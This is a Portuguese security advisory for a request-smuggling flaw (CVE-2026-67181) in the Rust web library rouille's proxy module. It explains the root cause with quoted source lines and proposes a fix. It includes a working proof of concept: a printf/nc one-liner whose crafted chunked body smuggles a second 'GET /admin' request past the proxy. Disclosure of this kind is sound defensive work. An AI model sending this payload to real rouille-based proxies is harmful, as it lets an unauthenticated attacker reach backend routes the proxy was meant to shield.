
Advisory de segurança: Contrabando de solicitação HTTP via dessincronização de Transfer-Encoding (rouille)
ID de CVE atribuído: CVE-2026-67181
rouille::proxy::proxy encaminha o cabeçalho Transfer-Encoding do cliente para o backend inalterado, mas escreve o corpo da requisição que o tiny_http já decodificou. Nunca emite um Content-Length próprio. O backend é informado de que o corpo está em chunked e recebe bytes que não estão em chunked, portanto, é o cliente, não o rouille, quem decide onde o backend considera que o corpo termina.
URL do repositório: https://github.com/tomaka/rouille
| Primeira afetada | 0.3.3 (2016-12-03), a versão que introduziu src/proxy.rs |
| Última afetada | 3.6.2 (2023-04-24), a versão atual |
| Não afetada | 0.3.2 e anteriores, que não possuem módulo de proxy |
| Corrigida em | nenhuma versão corrigida no momento da escrita |
src/proxy.rs é byte idêntico entre a tag 3.6.2 e o master atual.
Somente aplicações que chamam proxy::proxy ou proxy::full_proxy são afetadas.
CWE-444 (Interpretação Inconsistente de Requisições HTTP).
Pontuação base CVSS 4.0 6.3 (Média)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N
Um cliente remoto, não autenticado, que envia HTTP bruto para uma aplicação rouille que atua como proxy reverso. Nenhuma credencial ou interação do usuário é necessária.
O impacto depende do backend. Backends que fazem pipelining independentemente de Connection: close, e qualquer intermediário com pool de conexões entre o rouille e a origem, agirão sobre a requisição contrabandeada. Backends que respeitam Connection: close ainda acabam com um corpo de requisição diferente daquele que o cliente enviou e daquele que o rouille observou.
tiny_http decodifica o chunked sempre que qualquer cabeçalho Transfer-Encoding está presente e descarta o Content-Length.
tiny_http-0.12.0/src/request.rs, linhas 149 a 159:
149 // finding the content-length header
150 let content_length = if transfer_encoding.is_some() {
151 // if transfer-encoding is specified, the Content-Length
152 // header must be ignored (RFC2616 #4.4)
153 None
154 } else {
tiny_http-0.12.0/src/request.rs, linhas 218 a 221:
218 } else if transfer_encoding.is_some() {
219 // if a transfer-encoding was specified, then "chunked" is ALWAYS applied
220 // over the message (RFC2616 #3.6)
221 Box::new(FusedReader::new(Decoder::new(source_data))) as Box<dyn Read + Send + 'static>
rouille/src/proxy.rs então encaminha todos os cabeçalhos exceto Connection e copia o corpo decodificado. Linhas 167 a 174:
167 if header == "Connection" {
168 continue;
169 }
170
171 socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172 }
173 socket.write_all(b"Connection: close\r\n\r\n")?;
174 io::copy(&mut data, &mut socket)?;
O Transfer-Encoding: chunked do cliente sobrevive à linha 171. A linha 174 escreve o texto simples que o Decoder produziu. Nenhum Content-Length é gravado, então o backend não tem mais nada em que se basear para delimitar e aplica a análise chunked ao texto simples escolhido pelo atacante.
Passo 1. Inicie um listener bruto na porta 8001 para atuar como backend e mostrar os bytes que o rouille envia.
nc -l 127.0.0.1 8001 | cat -v
Passo 2. Inicie um front end rouille na porta 8000.
use rouille::proxy;
fn main() {
rouille::start_server("127.0.0.1:8000", |request| {
proxy::full_proxy(request, proxy::ProxyConfig {
addr: "127.0.0.1:8001", replace_host: None,
}).unwrap()
});
}
Passo 3. Envie uma requisição corretamente codificada em chunked cujo corpo decodificado é, ele próprio, um stream chunked que termina imediatamente, seguido de uma segunda requisição. O chunk único tem 0x3d = 61 bytes de comprimento.
printf 'POST /public/upload HTTP/1.1\r\nHost: x\r\nTransfer-Encoding: chunked\r\n\r\n3d\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: x\r\nX-Smuggled: yes\r\n\r\n\r\n0\r\n\r\n' | nc 127.0.0.1 8000
Resultado. O listener do passo 1 mostra o rouille anunciando o enquadramento chunked e depois enviando texto simples:
POST /public/upload HTTP/1.1
Host: x
Transfer-Encoding: chunked
Connection: close
0
GET /admin HTTP/1.1
Host: x
X-Smuggled: yes
Um backend que respeita Transfer-Encoding: chunked lê a linha de tamanho do chunk 0, conclui que o corpo está vazio e analisa os 56 bytes restantes como uma nova requisição.
A visão do backend sobre o corpo da requisição difere tanto dos bytes que o cliente enviou quanto dos bytes que o rouille leu. Qualquer componente a montante que registre, audite ou espelhe o corpo registra algo diferente daquilo sobre o qual o backend agiu.
Onde o backend faz pipelining apesar de Connection: close, ou onde um intermediário com pool de conexões está entre o rouille e a origem, os bytes finais tornam-se uma segunda requisição com método e caminho escolhidos pelo atacante.
O Content-Length do cliente também é encaminhado mesmo que o tiny_http o tenha ignorado, então um backend que prefere Content-Length a Transfer-Encoding obtém uma dessincronização CL.TE diretamente.
Não encaminhe cabeçalhos de enquadramento que descrevem um corpo que o rouille já decodificou. Em src/proxy.rs, estenda o skip na linha 167:
if header.eq_ignore_ascii_case("Connection")
|| header.eq_ignore_ascii_case("Transfer-Encoding")
|| header.eq_ignore_ascii_case("Content-Length")
{
continue;
}
Em seguida, emita um enquadramento que corresponda ao que é realmente gravado: faça buffer do corpo e envie um Content-Length preciso, ou re-codifique-o em chunked e envie Transfer-Encoding: chunked você mesmo, antes do \r\n\r\n final na linha 173.